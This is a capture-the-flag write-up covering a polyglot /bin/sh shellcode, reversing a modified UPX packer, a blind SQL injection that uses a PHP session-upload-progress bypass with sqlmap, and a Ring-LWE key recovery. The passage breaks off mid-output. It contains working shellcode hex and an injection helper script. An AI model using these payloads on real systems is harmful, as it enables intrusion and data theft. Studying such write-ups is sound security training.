This was a great CTF and we hacked some stuff. Here’s how.
Short summary:
40 90
is a NOP on x86_64 and inc eax; nop
on (32-bit) x86.Shellcode:
$ xxd -p shc
409084c0741beb0b5b31c0b00b9931c9cd80cce8f0ffffff2f62696e2f73
68009031c0b03b488d3decffffff31f631d20f05cccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
$
Disassemblies for the reader’s convenience:
$ ndisasm -b 32 shc
00000000 40 inc eax
00000001 90 nop
00000002 84C0 test al,al
00000004 741B jz 0x21
00000006 EB0B jmp short 0x13
00000008 5B pop ebx
00000009 31C0 xor eax,eax
0000000B B00B mov al,0xb
0000000D 99 cdq
0000000E 31C9 xor ecx,ecx
00000010 CD80 int 0x80
00000012 CC int3
00000013 E8F0FFFFFF call 0x8
00000018 2F das
00000019 62696E bound ebp,[ecx+0x6e]
0000001C 2F das
0000001D 7368 jnc 0x87
0000001F 00
[...]
$ ndisasm -b 64 shc
00000000 4090 nop
00000002 84C0 test al,al
00000004 741B jz 0x21
[...]
00000018 2F db 0x2f
00000019 62 db 0x62
0000001A 696E2F73680090 imul ebp,[rsi+0x2f],dword 0x90006873
00000021 31C0 xor eax,eax
00000023 B03B mov al,0x3b
00000025 488D3DECFFFFFF lea rdi,[rel 0x18]
0000002C 31F6 xor esi,esi
0000002E 31D2 xor edx,edx
00000030 0F05 syscall
[...]
Sending the shellcode to the server immediately gives us the flag:
$ nc 137.117.216.128 13374 < shc
Please give me your finest shellcode:
Got: 409084c0741beb0b5b31c0b00b9931c9cd80cce8f0ffffff2f62696e2f7368009031c0b03b488d3decffffff31f631d20f05cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
[*] Testing x86.....[OK]
[*] Testing amd64...[OK]
Congrats! Here is your flag: PTBCTF{is_this_x84_or_amd66}
$
Author: adrians
Check out our new packer, now with password protection.
archive password: uFae3Fishod9ee
We’re given a binary asking for a password via argv
:
$ ./passpx
Usage: passpx password
$ ./passpx lol
Try harder
$
The challenge description hints us towards a packing mechanism being used to protect the binary. The header of the binary
0000: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
0010: 02 00 3e 00 01 00 00 00 a0 9c 40 00 00 00 00 00 |..>.......@.....|
0020: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@...............|
0030: 00 00 00 00 40 00 38 00 03 00 40 00 00 00 00 00 |....@.8...@.....|
0040: 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 |..@.......@.....|
0060: 69 af 00 00 00 00 00 00 69 af 00 00 00 00 00 00 |i.......i.......|
0070: 00 00 20 00 00 00 00 00 01 00 00 00 06 00 00 00 |.. .............|
0080: 00 00 00 00 00 00 00 00 00 b0 40 00 00 00 00 00 |..........@.....|
0090: 00 b0 40 00 00 00 00 00 00 00 00 00 00 00 00 00 |..@.............|
00a0: 98 f4 20 00 00 00 00 00 00 10 00 00 00 00 00 00 |.. .............|
00b0: 51 e5 74 64 06 00 00 00 00 00 00 00 00 00 00 00 |Q.td............|
00c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00e0> 10 00 00 00 00 00 00 00 05 9a 0c fb 55 50 58 21 |............UPX!|
and some of the strings contained within the program
$ strings passpx | grep UPX
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
$
should probably trick us into thinking that the crackme had been protected using UPX, the Ultimate Packer for eXecutables.
However, UPX’ built-in decompression functionality fails to recognize the compressed file:
$ upx -d passpx_auto
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: passpx_auto: NotPackedException: not packed by UPX
Unpacked 0 files.
$
Hm … apparently not so easy. :)
Comparing the entry points of the challenge binary and some legitly UPX-packed file we can see that execution flow and programming logic are indeed really similar. At this point we figured that the challenge author used a modified version of UPX to create the binary, or tampered with the resulting binary of some legitly packed program.
As UPX is not meant for security purposes it is trivial to launch the protected program in a debugger and dump the unpacked code at some late execution phase (for example when the program is stopped at the Usage: passpx password
write system call):
$ gdb -ex 'start' -ex 'catch syscall write' -ex 'c' ./passpx
[...]
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x414000 r-xp 14000 0
0x414000 0x613000 ---p 1ff000 0
0x613000 0x61e000 rw-p b000 0 [heap]
0x7ffff7fee000 0x7ffff7fef000 r--p 1000 0 ~/ctf/2019_09_pwnthybytes/passpx
0x7ffff7ffb000 0x7ffff7ffe000 r--p 3000 0 [vvar]
0x7ffff7ffe000 0x7ffff7fff000 r-xp 1000 0 [vdso]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
pwndbg> dump memory memdump_0x400000 0x400000 0x414000
pwndbg>
Analyzing the dump quickly led us to the following main
function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // r8@0
__int64 v4; // r9@0
char v5; // al@2
char *v6; // rcx@2
const char *v8; // rdx@6
__int64 v9; // rax@6
__int64 v10; // rax@8
int v11; // ecx@8
char v12; // di@9
signed __int64 v13; // rdx@11
int v14; // esi@11
signed __int64 v15; // r9@11
int v16; // eax@12
__int64 *v17; // rdi@13
__int64 v18; // rax@25
int v19; // ecx@25
char v20; // di@26
signed int v21; // er9@27
__int64 v22; // rdx@27
int v23; // esi@27
int v24; // eax@29
__int64 v25; // [sp+8h] [bp-1A0h]@1
__int64 v26; // [sp+10h] [bp-198h]@1
char v27[120]; // [sp+18h] [bp-190h]@1
char v28[22]; // [sp+90h] [bp-118h]@2
char v29; // [sp+A6h] [bp-102h]@2
v25 = 0x12345678AABBCCDDLL;
v26 = 0LL;
memset(v27, 0, sizeof(v27));
if ( argc == 2 )
{
v8 = argv[1];
v9 = 0LL;
if ( *v8 == 'P'
&& v8[1] == '4'
&& v8[2] == 's'
&& v8[3] == 'S'
&& v8[4] == 'w'
&& v8[5] == '0'
&& v8[6] == 'r'
&& v8[7] == 'd'
&& v8[8] == '!' )
{
if ( !v8[9] )
{
do
{
v28[v9] = v9;
++v9;
}
while ( v9 != 256 );
v18 = 0LL;
v19 = 0;
do
{
v20 = v28[v18];
v19 += (unsigned __int8)(*((_BYTE *)&v25 + (v18 & 7)) + v28[v18]);
v28[v18++] = v28[(unsigned __int8)v19];
v28[(unsigned __int8)v19] = v20;
}
while ( v18 != 256 );
v21 = dword_614040;
v17 = &v26;
v22 = 0LL;
v23 = 0;
while ( v21 > (signed int)v22 )
{
v24 = (unsigned __int8)v28[(unsigned __int8)(v22 + 1)];
v23 += v24;
v28[(unsigned __int8)(v22 + 1)] = v28[(unsigned __int8)v23];
v28[(unsigned __int8)v23] = v24;
*((_BYTE *)&v26 + v22) = byte_614060[v22] ^ v28[(unsigned __int8)(v28[(unsigned __int8)(v22 + 1)] + v24)];
++v22;
}
LABEL_14:
puts((__int64)v17);
return 0;
}
v9 = 0LL;
}
do
{
v28[v9] = v9;
++v9;
}
while ( v9 != 256 );
v10 = 0LL;
v11 = 0;
do
{
v12 = v28[v10];
v11 += (unsigned __int8)(*((_BYTE *)&v25 + (v10 & 7)) + v28[v10]);
v28[v10++] = v28[(unsigned __int8)v11];
v28[(unsigned __int8)v11] = v12;
}
while ( v10 != 256 );
if ( dword_615060 > 0 )
{
v13 = 1LL;
v14 = 0;
v15 = (unsigned int)(dword_615060 - 1) + 2LL;
do
{
v16 = (unsigned __int8)v28[(unsigned __int8)v13];
v14 += v16;
v28[(unsigned __int8)v13] = v28[(unsigned __int8)v14];
v28[(unsigned __int8)v14] = v16;
*((_BYTE *)&v25 + v13 + 7) = byte_61507F[v13] ^ v28[(unsigned __int8)(v28[(unsigned __int8)v13] + v16)];
++v13;
}
while ( v15 != v13 );
}
v17 = &v26;
goto LABEL_14;
}
v5 = 0x77;
*(_WORD *)&v28[20] = 0x4650;
*(_QWORD *)v28 = 0x5202184745435177LL;
*(_QWORD *)&v28[8] = 0x4352025A52515143LL;
*(_DWORD *)&v28[16] = 0x4D555151;
v29 = 0;
v6 = v28;
do
{
*(++v6 - 1) = v5 ^ 0x22;
v5 = *v6;
}
while ( *v6 );
fprintf(*(__int64 *)&off_6160B8, (__int64)"%s\n", (__int64)v28, (__int64)v6, v3, v4);
return 1;
}
The if clause guarding the first half of the code immediately caught our interest. However, it only prints out another unsatisfying string:
$ ./passpx P4sSw0rd!
Try harderer
$
Analyzing the function a bit we can see that it implements the RC4 stream cipher decrypting either an array at address 0x614060
or at address 0x615080
with the hardcoded key b'\xdd\xcc\xbb\xaax\x78\x56\x34\x12'
. Both buffers are prefixed by their lengths. Using the following python script
#!/usr/bin/env python3
from Crypto.Cipher import ARC4
import binascii
import struct
rc4 = ARC4.new(struct.pack("<Q", 0x12345678AABBCCDD))
print(rc4.decrypt(binascii.unhexlify("C5E8D9409A5C748153B6D3EBDA5245"))[:0x0d])
rc4 = ARC4.new(struct.pack("<Q", 0x12345678AABBCCDD))
print(rc4.decrypt(binascii.unhexlify("C5E8D9409A5C748153B6B699DB63D93565FF7D3718A74D8B3AE5C4F9CB6486F4CE21C96803BA0D488B15630C140D523A83B4FDC82B43CD1F3A21"))[:0x3a])
we get two possible outputs:
$ ./solve.py
b'Try harderer\x00'
b'Try harder\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-.'
While both outputs seem to be rather unsatisfactory, we immediately became suspicious of the unneccessary “padding” used in the second string. Both strings reside in writeable memory (starting at 0x613000
) and are result of the unpacking logic of the (hacked?) UPX unpacker. Could it be possible that there exists a path in the unpacker that overwrites the second string with some different values?
After digging around in the unpacking code, we found a function located at 0x7FFFF7FF9AF4
in gdb loading a huge array of fixed bytes on the stack, but it would only use this array if some other 16-byte array contained a distinct value:
void __fastcall sub_7FFFF7FF9AF4(__int64 a1, __int64 *a2, int (__fastcall *a3)(_QWORD, unsigned __int64, __int64, unsigned __int64 *, _QWORD), void (__fastcall *a4)(__int64, unsigned __int64, _QWORD, _QWORD), __int64 a5)
{
int (__fastcall *v5)(_QWORD, unsigned __int64, __int64, unsigned __int64 *, _QWORD); // r14@1
void (__fastcall *v6)(__int64, unsigned __int64, _QWORD, _QWORD); // r13@1
__int64 *v7; // rbp@1
__int64 v8; // rbx@1
char v9; // zf@1
unsigned __int64 v10; // rsi@3
unsigned int v11; // eax@21
unsigned __int64 v12; // rdx@28
char v13; // cf@29
__int64 v14; // rax@29
__int64 v15; // rax@36
__int64 v16; // rdx@38
__int64 v17; // rax@38
__int64 v18; // rax@38
unsigned __int64 v19; // [sp+8h] [bp-160h]@30
unsigned int v20; // [sp+10h] [bp-158h]@3
unsigned int v21; // [sp+14h] [bp-154h]@3
unsigned int v22; // [sp+18h] [bp-150h]@30
char v23; // [sp+20h] [bp-148h]@1
char v24; // [sp+21h] [bp-147h]@1
char v25; // [sp+22h] [bp-146h]@1
char v26; // [sp+23h] [bp-145h]@1
char v27; // [sp+24h] [bp-144h]@1
char v28; // [sp+25h] [bp-143h]@1
char v29; // [sp+26h] [bp-142h]@1
char v30; // [sp+27h] [bp-141h]@1
char v31; // [sp+28h] [bp-140h]@1
char v32; // [sp+29h] [bp-13Fh]@1
char v33; // [sp+2Ah] [bp-13Eh]@1
char v34; // [sp+2Bh] [bp-13Dh]@1
char v35; // [sp+2Ch] [bp-13Ch]@1
char v36; // [sp+2Dh] [bp-13Bh]@1
char v37; // [sp+2Eh] [bp-13Ah]@1
char v38; // [sp+2Fh] [bp-139h]@1
char v39; // [sp+30h] [bp-138h]@1
char v40; // [sp+31h] [bp-137h]@1
char v41; // [sp+32h] [bp-136h]@1
char v42; // [sp+33h] [bp-135h]@1
char v43; // [sp+34h] [bp-134h]@1
char v44; // [sp+35h] [bp-133h]@1
char v45; // [sp+36h] [bp-132h]@1
char v46; // [sp+37h] [bp-131h]@1
/* [ ...] */
char v289; // [sp+12Ah] [bp-3Eh]@1
char v290; // [sp+12Bh] [bp-3Dh]@1
char v291; // [sp+12Ch] [bp-3Ch]@1
char v292; // [sp+12Dh] [bp-3Bh]@1
char v293; // [sp+12Eh] [bp-3Ah]@1
char v294; // [sp+12Fh] [bp-39h]@1
char v295; // [sp+130h] [bp-38h]@1
char v296; // [sp+131h] [bp-37h]@1
v5 = a3;
v6 = a4;
v7 = a2;
v8 = a5;
v23 = 11;
v24 = 50;
v25 = -56;
v26 = -13;
v27 = 112;
v28 = 1;
v29 = 64;
v30 = 0;
v31 = -1;
v32 = 0;
v33 = 15;
v34 = -10;
v35 = -20;
v36 = 97;
v37 = 35;
v38 = 0;
v39 = -120;
v40 = -94;
v41 = 47;
v42 = -62;
v43 = -93;
v44 = 7;
v45 = 32;
v46 = -125;
/* [...] */
v289 = 0;
v290 = 0;
v291 = 0;
v292 = 0;
v293 = 0;
v294 = 0;
v295 = 64;
v296 = -1;
v9 = *a2 == 0;
while ( 1 )
{
if ( v9 )
return;
sub_7FFFF7FF9ABB(a1, &v20, 0xCuLL);
v10 = v21;
if ( v21 == 0x112
&& *(_BYTE *)v8 == 0xE6u
&& *(_BYTE *)(v8 + 1) == 0x44
&& *(_BYTE *)(v8 + 2) == 0x2D
&& *(_BYTE *)(v8 + 3) == 0xF6u
&& *(_BYTE *)(v8 + 4) == 0x7C
&& *(_BYTE *)(v8 + 5) == 0xEBu
&& *(_BYTE *)(v8 + 6) == 0x50
&& *(_BYTE *)(v8 + 7) == 0x7E
&& *(_BYTE *)(v8 + 8) == 0x9Eu
&& *(_BYTE *)(v8 + 9) == 0x75
&& *(_BYTE *)(v8 + 10) == 0xC2u
&& *(_BYTE *)(v8 + 11) == 0xA2u
&& *(_BYTE *)(v8 + 12) == 0xFCu
&& *(_BYTE *)(v8 + 13) == 0x4E
&& *(_BYTE *)(v8 + 14) == 0xA3u
&& *(_BYTE *)(v8 + 15) == 0xCDu )
{
*(_QWORD *)(a1 + 8) = &v23; /* suspicious trigger here */
}
v11 = v20;
if ( !v20 )
break;
if ( (_DWORD)v10 )
goto LABEL_27;
while ( 1 )
{
LABEL_26:
sub_7FFFF7FF90DD();
LABEL_27:
if ( (unsigned int)v10 <= v11 )
{
v12 = v11;
if ( v11 <= (unsigned __int64)*v7 )
{
v13 = (unsigned int)v10 < v11;
v14 = v7[1];
if ( !v13 )
{
sub_7FFFF7FF9ABB(a1, (_BYTE *)v7[1], (unsigned int)v10);
goto LABEL_38;
}
v19 = v12;
if ( !v5(*(_QWORD *)(a1 + 8), v10, v14, &v19, v22) )
{
v10 = v19;
if ( v19 == v20 )
break;
}
}
}
}
if ( v6 != 0LL && BYTE1(v22) != 0 && (v19 > 0x200 || *v7 == v19) )
v6(v7[1], v19, BYTE2(v22), BYTE1(v22));
v15 = v21;
*(_QWORD *)(a1 + 8) += v21;
*(_QWORD *)a1 -= v15;
LABEL_38:
v16 = v20;
v17 = *v7;
v7[1] += v20;
v18 = v17 - v16;
v9 = v18 == 0;
*v7 = v18;
}
if ( (_DWORD)v10 != '!XPU' || *(_QWORD *)a1 )
goto LABEL_26;
}
After playing a bit with the binary, we found out that v21
is the length of the unpacked data, and v8
seems to store the MD5 sum of the unpacked data (sub_7FFFF7FF98D7
initializes the MD5 engine). Putting a breakpont on the comparison v21 == 0x112
(0x7FFFF7FFA2A2
in out gdb) we could observe that the variable takes on the following values: 0x82
(twice), 0x99db
, and 0x112
.
While v21
actually becomes 0x112
once, the v8
array never contains the right hash. What if we dare to skip the execution flow past the hash check (0x7FFFF7FFA309
) once the v21
variable has the right (0x112
) value (and hence the unpacker is probably about to write out the unpacked segment to its final destination)?
$ gdb -ex 'start' -ex 'hb *0x7FFFF7FFA2A2' -ex 'c' --args ./passpx asdf
[...]
Catchpoint 1 (fork)
Catchpoint 2 (exec)
pwndbg: loaded 177 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./passpx...
(No debugging symbols found in ./passpx)
Temporary breakpoint 3 at 0x409ca0
Temporary breakpoint 3, 0x0000000000409ca0 in ?? ()
0x7fffffffde80 0x7fffffffc000 0x7fffffffc000 0x7ffffffff000
Hardware assisted breakpoint 4 at 0x7ffff7ffa2a2
Continuing.
Breakpoint 4, 0x00007ffff7ffa2a2 in ?? ()
[...]
RSI 0x82
[...]
► 0x7ffff7ffa2a2 cmp esi, 0x112
[...]
pwndbg> c
Continuing.
Breakpoint 4, 0x00007ffff7ffa2a2 in ?? ()
[...]
RSI 0x82
[...]
► 0x7ffff7ffa2a2 cmp esi, 0x112
[...]
pwndbg> c
Continuing.
Breakpoint 4, 0x00007ffff7ffa2a2 in ?? ()
[...]
RSI 0x99db
[...]
► 0x7ffff7ffa2a2 cmp esi, 0x112
[...]
pwndbg> c
Continuing.
Breakpoint 4, 0x00007ffff7ffa2a2 in ?? ()
[...]
RSI 0x112
[...]
► 0x7ffff7ffa2a2 cmp esi, 0x112
[...]
pwndbg> set $rip = 0x7FFFF7FFA309
[...]
► 0x7ffff7ffa309 lea rax, qword ptr [rsp + 0x20]
0x7ffff7ffa30e mov qword ptr [r12 + 8], rax
0x7ffff7ffa313 mov eax, dword ptr [rsp + 0x10]
0x7ffff7ffa317 test eax, eax
0x7ffff7ffa319 jne 0x7ffff7ffa330
↓
0x7ffff7ffa330 test esi, esi
0x7ffff7ffa332 jne 0x7ffff7ffa33e
↓
0x7ffff7ffa33e cmp esi, eax
0x7ffff7ffa340 ja 0x7ffff7ffa334
0x7ffff7ffa342 mov edx, eax
0x7ffff7ffa344 cmp rdx, qword ptr [rbp]
[...]
pwndbg> c
Continuing.
PTBCTF{8d4f4168500acd66e65c921a694e15dd2e862e5f}
[Inferior 1 (process 31118) exited normally]
pwndbg>
The program just prints out the flag.
After the CTF we investigated a bit on why the binary would, without further ado, give away the flag so easily. We would have expected at least some change to the argv[1]
password triggering the condition.
It turns out that the magic 0x112
refers to the data that ends up in the writeable data section later read in by the main
function. Indeed, the execution path that used to print Try harder
now just decrypts different data and echoes the flag instead:
pwndbg> x/64xb 0x00615080
0x615080: 0xc1 0xce 0xe2 0x23 0xa6 0x7b 0x7d 0xdd
0x615088: 0x52 0xf0 0xd0 0xad 0xeb 0x57 0xe2 0x04
0x615090: 0x50 0xc9 0x1b 0x5c 0x75 0x9b 0x70 0xe2
0x615098: 0x01 0xde 0xa8 0xd0 0xe8 0x47 0xf4 0xd6
0x6150a0: 0xe2 0x03 0xbb 0x41 0x2f 0xc4 0x72 0x66
0x6150a8: 0xf3 0x33 0x4a 0x1e 0x50 0x1a 0x17 0x63
0x6150b0: 0xa6 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6150b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Extending our solution script from above we get
#!/usr/bin/env python3
from Crypto.Cipher import ARC4
import binascii
import struct
rc4 = ARC4.new(struct.pack("<Q", 0x12345678AABBCCDD))
print(rc4.decrypt(binascii.unhexlify("C5E8D9409A5C748153B6D3EBDA5245"))[:0x0d])
rc4 = ARC4.new(struct.pack("<Q", 0x12345678AABBCCDD))
print(rc4.decrypt(binascii.unhexlify("C5E8D9409A5C748153B6B699DB63D93565FF7D3718A74D8B3AE5C4F9CB6486F4CE21C96803BA0D488B15630C140D523A83B4FDC82B43CD1F3A21"))[:0x3a])
rc4 = ARC4.new(struct.pack("<Q", 0x12345678AABBCCDD))
print(rc4.decrypt(binascii.unhexlify("c1cee223a67b7ddd52f0d0adeb57e20450c91b5c759b70e201dea8d0e847f4d6e203bb412fc47266f3334a1e501a1763a600000000000000"))[:0x31])
which now prints:
$ ./solve.py
b'Try harderer\x00'
b'Try harder\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-.'
b'PTBCTF{8d4f4168500acd66e65c921a694e15dd2e862e5f}\x00'
Author: icernica
I had problems in the past with SQLi so I searched for recommendations. I know for sure that PHP addslashes is a pain and nobody can bypass this.
http://137.117.210.176:13372
Source: http://137.117.210.176:13372/source.zip
We are provided with a PHP web challenge with source code.
All request data seems to be passed through a filter in index.php
:
...
session_start();
foreach($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value){
!is_string($value) AND die("Hacking attempt!");
return addslashes($value);
}
...
The data is then passed into queries in templates scripts as seen in templates/login.php
:
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="'.$_GET['username'].'" and password="'.md5($_GET['password']).'";';
...
There seems to be some addslashes
bypasses based on multi-byte encodings like described here, but they usually depend on some kind of weird charset being using with MySQL.
We revisted the “direct access protection” of templates/login.php
, which depends on session_start()
being called before.
I remembered from HITCON CTF 2018 that PHP_SESSION_UPLOAD_PROGRESS
can be used to force PHP to initialize $_SESSION
to bypassing the check.
Being old (and grumpy) I decided to exploit this blind SQLi with sqlmap
by using a helper proxy:
proxy.php:
<?php
// start with php -S 127.0.0.1:8082
system("python3 ./pwn.py '" . base64_encode($_GET['username']) . "'");
pwn.py:
#!/usr/bin/env python3
# helper script to bypass the 'direct access' check
import requests, sys, base64
url = 'http://137.117.210.176:13372/templates/login.php'
files = {'file': open('pwn.py', 'rb')}
r = requests.post(url, data={
'PHP_SESSION_UPLOAD_PROGRESS': 1337
},
files=files, cookies={
'PHPSESSID': 'hass1337',
}, params={
'username':'foo123" or '+ base64.b64decode(sys.argv[1]).decode() + ' or "1"="1',
'password': 'foo123',
})
print(r.text)
Finally, we can direct sqlmap
to http://127.0.0.1:8082/proxy.php?username=a
to finish the task.
Using sqlmap to find a potential flag table:
$ sqlmap -u http://127.0.0.1:8082/proxy.php?username=a -D ptbctf --tables
...
Database: ptbctf
[2 tables]
+----------+
| flag_tbl |
| ptbctf |
+----------+
Using sqlmap to dump the flag_tbl
:
$ sqlmap -u http://127.0.0.1:8082/proxy.php?username=a --dump -T flag_tbl
...
Database: ptbctf
Table: flag_tbl
[1 entry]
+------------------------------------------+
| secret |
+------------------------------------------+
| PTBCTF{846722e552fa0b00fc620462a5ac7bdc} |
+------------------------------------------+
In this task, we are looking at a Ring-LWE instance and we’re asked to find the secret key given a handful* of R-LWE samples.
* (We are assuming hands of 8 fingers.)
The code contains a suspicious amount of conversions between the coefficient basis and the canonical basis of the ring, and indeed, this is the source of insecurity: The noise is sampled from a rather wide Gaussian, which should be fine, but this is with respect to the canonical basis. On the other hand, the rest of the R-LWE implementation uses the coefficient basis.
def generate_error(sigma, prime, degree):
D = RealDistribution('gaussian',sigma)
error = []
for i in range(degree):
error.append(D.get_random_element())
error_canonical_interm = U * (vector(error).column())
error_canonical = [(error_canonical_interm)[i][0] for i in range(degree)]
error_coeff = []
error_coeff_interm = Sigma_Inv * error_canonical_interm
for i in range(degree):
error_coeff.append(error_coeff_interm[i][0].real())
error_coeff = vector_to_polynomial(vector(error_coeff))
return error_coeff
# [...]
challenge_file.write('I shall give you some samples. Can you recover the secret key?\n')
for i in range(nr_samples):
a = generate_random_vector_mod(prime,degree)
a_coeff = vector_to_polynomial(a)
a_canonical = coeff_to_canonical(a_coeff,roots)
challenge_file.write('a_'+str(i)+' is '+str(a_canonical)+'\n')
err_coeff = generate_error(sigma, prime, degree)
b_coeff_interm = N(a_coeff * sec_coeff + err_coeff)
b_coeff = 0
for j in range(degree):
b_coeff = b_coeff + x^j*reduction_mod(b_coeff_interm.list()[j],prime)
b_canonical = coeff_to_canonical(b_coeff, roots)
challenge_file.write('b_'+str(i)+' is '+str(b_canonical)+'\n')
It is known (see here, Section 3.2.2) that sampling the noise with respect to the wrong basis can significantly impact security, since a wide distribution can look very narrow with respect to the dual basis.
Instead of analyzing the ring in use to figure out whether this attack applies, we simply look at the noise that’s generated by the given code:
for i,c in enumerate(generate_error(sigma,prime,deg)):
print('{:3} {}'.format(i, c))
This prints something like the following:
0 46.9786523058587
1 -48.5292576365581
2 -17.3906451997869
3 -27.2919326265839
4 -1.70697747932714
5 -44.3004358750407
6 -102.227021028364
7 -20.1661707820500
8 -4.61329474226082
9 24.2028593363288
10 12.4132542761632
11 17.0659007008902
12 -62.4632432264666
13 -33.2516442676849
14 -122.112277298727
15 72.6061593139978
16 30.2216090527301
17 -13.0998730442018
18 -1.78987981802688
19 -27.1417245162996
20 -13.9098977884743
21 8.31350429859054
22 -35.8746462326683
23 -28.0136299384902
[...]
203 0.0445989587000487
204 0.266751764450395
205 -0.112494506218291
206 -0.0367419238497657
207 0.108857512893624
208 0.0341785214621255
209 -0.162758341293502
210 0.0304244757519832
211 0.287286817253938
212 -0.151144051817815
213 -0.0892692035337474
214 0.167549663735378
215 -0.267639714217953
216 0.0443544293020134
217 0.0930421359573157
218 0.152480038564812
219 0.109060472775154
220 -0.138608336335352
221 0.140162448643631
222 -0.0432812571337251
223 -0.208327750872163
224 -0.0656437697782718
225 -0.0621366686747936
226 0.0100938100898203
227 0.0548885886925718
228 0.173956228432647
229 -0.0688576268316203
230 -0.110267948203576
231 -0.0290333832264178
232 0.129764356644682
233 0.149518511738767
234 0.0114198944623814
235 0.193708525448504
236 -0.000945726317498092
237 0.131242662860696
238 0.0768166922247064
239 -0.0488118070230919
240 -0.0842867459766938
241 -0.0171909055049790
242 0.109104096399180
243 -0.0519253347628259
244 -0.0484991834468422
245 0.0508099853428426
246 -0.0355330828503885
247 -0.0317255348547993
248 -0.0574810073837625
249 -0.0316900920844185
250 0.00817631857550443
251 -0.0301909003752401
252 0.0916911856582592
253 0.00947193353412427
254 0.0172581425470676
255 -0.0981734233652761
Even from this single sample, it is not hard to see that the higher coefficients of the noise polynomial are really small; all of them have absolute values smaller than $1{/}2$.
As elaborated in the paper linked above, this totally breaks the security: We can simply round off the noise to get error-free LWE samples, then use linear algebra to solve the problem. Since we are given only $8$ samples and the ring has dimension $256$, we see that we need to use at least $32$ coefficients from each sample; the output above suggests that the highest $32$ coefficients are very likely to be small enough.
(As a little “trick” to simplify correctness checking, we actually use $33$ coefficients per sample, which would make the system unsolvable with very high probability of one of the errors was actually larger than $1{/}2$. If this was the case, we’d have to start brute-forcing small error vectors.)
S.<x> = PolynomialRing(RationalField(100))
prime = 1487
deg = 256
poly = x^deg + prime - 1
data = open('out/challenge.txt').read()
samples = []
for l in data.split('\n'):
if l.startswith('a_'):
a = eval(' '.join(l.split(' ')[2:]))
elif l.startswith('b_'):
b = eval(' '.join(l.split(' ')[2:]))
samples.append((a,b))
mat = matrix(Zmod(prime), deg, 0)
vec = []
for a,b in samples:
a_coeff = vector(ZZ, [round(c.real()) for c in Sigma_Inv * vector(a)])
a_mat = matrix(Zmod(prime),
[(list(x**i*vector_to_polynomial(a_coeff) % poly) + [0]*deg)[:deg] for i in range(deg)])
b_coeff = vector(ZZ, [round(c.real()) for c in Sigma_Inv * vector(b)])
mat = mat.augment(a_mat[:,-33:])
vec += list(b_coeff[-33:])
vec = vector(vec)
print
print(mat)
print
print(vec)
print
sol = mat.solve_left(vec)
print(sol)
Running this script (which reuses lots of stuff from the given wrong_ring.sage
) takes something like half a minute and prints the solution
(985, 974, 683, 1459, 158, 993, 641, 172, 913, 240, 37, 1124, 332, 75, 1042, 1412, 1197, 168, 429, 1038, 231, 943, 588, 501, 181, 1425, 51, 1335, 599, 1094, 363, 421, 1371, 1344, 1181, 809, 495, 973, 646, 1002, 691, 71, 1146, 158, 1169, 98, 48, 1087, 1316, 595, 1461, 417, 1365, 561, 1215, 1143, 1420, 399, 1136, 1434, 1183, 1157, 771, 1451, 551, 1386, 1381, 711, 568, 953, 550, 1016, 475, 526, 654, 447, 583, 372, 868, 1224, 600, 1180, 780, 70, 1448, 841, 852, 1298, 399, 449, 882, 270, 1359, 560, 1013, 1147, 75, 196, 631, 410, 109, 290, 681, 404, 809, 529, 1244, 845, 1040, 530, 928, 1142, 317, 1118, 1051, 632, 1225, 261, 1224, 221, 580, 779, 614, 1303, 448, 1139, 424, 606, 225, 90, 140, 402, 1042, 569, 1141, 1294, 580, 180, 491, 341, 1000, 869, 1075, 356, 1057, 745, 1210, 559, 301, 242, 319, 903, 1280, 1163, 1263, 797, 769, 1323, 1430, 329, 853, 123, 1430, 285, 426, 610, 211, 1443, 175, 298, 1129, 296, 1040, 1365, 1219, 915, 1343, 87, 607, 1249, 845, 713, 27, 993, 769, 